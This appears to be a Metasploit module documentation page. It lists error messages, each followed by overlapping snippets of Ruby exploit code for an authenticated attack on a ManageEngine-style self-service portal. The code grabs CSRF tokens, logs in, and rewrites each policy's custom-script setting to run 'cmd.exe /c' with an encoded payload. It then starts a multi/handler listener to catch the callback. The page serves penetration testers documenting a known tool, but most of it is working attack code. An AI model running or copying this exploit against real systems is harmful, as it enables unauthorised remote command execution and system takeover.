127:	    fail_with(Failure::Unreachable, 'The target did not respond') unless res
128:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?
129:	    csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]
130:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
131:	
132:	    # send the first login request to get the ssp token
133:	    res = send_request_cgi({

Failed to grab a CSRF token


Here is a relevant code snippet related to the "Failed to grab a CSRF token" error message:

125:	    # grab a CSRF token from the index
126:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
127:	    fail_with(Failure::Unreachable, 'The target did not respond') unless res
128:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?
129:	    csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]
130:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
131:	
132:	    # send the first login request to get the ssp token
133:	    res = send_request_cgi({
134:	      'method' => 'POST',
135:	      'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'),

Log in attempt failed


Here is a relevant code snippet related to the "Log in attempt failed" error message:

142:	        'j_password' => datastore['PASSWORD'],
143:	        'AUTHRULE_NAME' => 'ADAuthenticator',
144:	        'adscsrf' => csrf_tok
145:	      }
146:	    })
147:	    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
148:	
149:	    # send the second login request to get the sso token
150:	    res = send_request_cgi({
151:	      'method' => 'POST',
152:	      'uri' => normalize_uri(target_uri.path, '/j_security_check'),

Log in attempt failed


Here is a relevant code snippet related to the "Log in attempt failed" error message:

159:	        'j_password' => datastore['PASSWORD'],
160:	        'AUTHRULE_NAME' => 'ADAuthenticator',
161:	        'adscsrf' => csrf_tok
162:	      }
163:	    })
164:	    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302
165:	
166:	    # revisit authorization.do to complete authentication
167:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
168:	    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
169:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?

Log in attempt failed


Here is a relevant code snippet related to the "Log in attempt failed" error message:

163:	    })
164:	    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302
165:	
166:	    # revisit authorization.do to complete authentication
167:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
168:	    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
169:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?
170:	    csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]
171:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
172:	
173:	    print_good('Authentication successful')

Failed to grab a CSRF token


Here is a relevant code snippet related to the "Failed to grab a CSRF token" error message:

164:	    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302
165:	
166:	    # revisit authorization.do to complete authentication
167:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
168:	    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
169:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?
170:	    csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]
171:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
172:	
173:	    print_good('Authentication successful')
174:	    csrf_tok

Failed to grab a CSRF token


Here is a relevant code snippet related to the "Failed to grab a CSRF token" error message:

166:	    # revisit authorization.do to complete authentication
167:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
168:	    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
169:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?
170:	    csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]
171:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
172:	
173:	    print_good('Authentication successful')
174:	    csrf_tok
175:	  end
176:	

Log in attempt failed


Here is a relevant code snippet related to the "Log in attempt failed" error message:

251:	
252:	    # Grab the list of configured policies
253:	    policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')
254:	    print_status("Requesting policy list from #{policy_list_uri}")
255:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
256:	    fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200
257:	    policy_json = res.get_json_document
258:	    fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
259:	    policy_details_json = policy_json['POLICY_DETAILS']
260:	    fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?
261:	

The target didn't return a JSON body


Here is a relevant code snippet related to the "The target didn't return a JSON body" error message:

253:	    policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')
254:	    print_status("Requesting policy list from #{policy_list_uri}")
255:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
256:	    fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200
257:	    policy_json = res.get_json_document
258:	    fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
259:	    policy_details_json = policy_json['POLICY_DETAILS']
260:	    fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?
261:	
262:	    # There can be multiple policies. This logic will loop over each one, grab the configuration
263:	    # details, update the configuration to include our payload, and then POST it back.

The target didn't have any configured policies


Here is a relevant code snippet related to the "The target didn't have any configured policies" error message:

255:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
256:	    fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200
257:	    policy_json = res.get_json_document
258:	    fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
259:	    policy_details_json = policy_json['POLICY_DETAILS']
260:	    fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?
261:	
262:	    # There can be multiple policies. This logic will loop over each one, grab the configuration
263:	    # details, update the configuration to include our payload, and then POST it back.
264:	    policy_details_json.each do |policy_entry|
265:	      policy_id = policy_entry['POLICY_ID']

Policy details missing name or id


Here is a relevant code snippet related to the "Policy details missing name or id" error message:

262:	    # There can be multiple policies. This logic will loop over each one, grab the configuration
263:	    # details, update the configuration to include our payload, and then POST it back.
264:	    policy_details_json.each do |policy_entry|
265:	      policy_id = policy_entry['POLICY_ID']
266:	      policy_name = policy_entry['POLICY_NAME']
267:	      fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil?
268:	
269:	      print_status("Requesting policy details for #{policy_name}")
270:	      res = send_request_cgi({
271:	        'method' => 'GET',
272:	        'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'),

Acquiring specific policy details failed


Here is a relevant code snippet related to the "Acquiring specific policy details failed" error message:

273:	        'vars_get' =>
274:	        {
275:	          'POLICY_ID' => policy_id
276:	        }
277:	      })
278:	      fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200
279:	
280:	      # load the JSON and insert (or remove) our payload
281:	      specific_policy_json = res.get_json_document
282:	      fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
283:	      fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?

The target didn't return a JSON body


Here is a relevant code snippet related to the "The target didn't return a JSON body" error message:

277:	      })
278:	      fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200
279:	
280:	      # load the JSON and insert (or remove) our payload
281:	      specific_policy_json = res.get_json_document
282:	      fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
283:	      fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?
284:	      new_payload = "cmd.exe /c #{payload.encoded}"
285:	
286:	      if datastore['TARGET_RESET']
287:	        print_status('Disabling custom script functionality')

The target didn't contain the expected JSON


Here is a relevant code snippet related to the "The target didn't contain the expected JSON" error message:

278:	      fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200
279:	
280:	      # load the JSON and insert (or remove) our payload
281:	      specific_policy_json = res.get_json_document
282:	      fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
283:	      fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?
284:	      new_payload = "cmd.exe /c #{payload.encoded}"
285:	
286:	      if datastore['TARGET_RESET']
287:	        print_status('Disabling custom script functionality')
288:	        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0'

Policy update request failed


Here is a relevant code snippet related to the "Policy update request failed" error message:

310:	          'APC_SETTINGS_DETAILS' => updated_policy,
311:	          'POLICY_NAME' => policy_name,
312:	          'adscsrf' => csrf_tok
313:	        }
314:	      })
315:	      fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200
316:	
317:	      # spawn our own payload handler?
318:	      if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']
319:	        listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
320:	        if listener_job_id.blank?

Failed to start exploit/multi/handler on <LPORT>, it may be in use by another process.


Here is a relevant code snippet related to the "Failed to start exploit/multi/handler on <LPORT>, it may be in use by another process." error message:

316:	
317:	      # spawn our own payload handler?
318:	      if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']
319:	        listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
320:	        if listener_job_id.blank?
321:	          print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
322:	        end
323:	      else
324:	        print_good('Done!')
325:	      end
326:	    end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Jake Baines
  • Hernan Diaz
  • Andrew Iwamaye
  • Dan Kelley

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.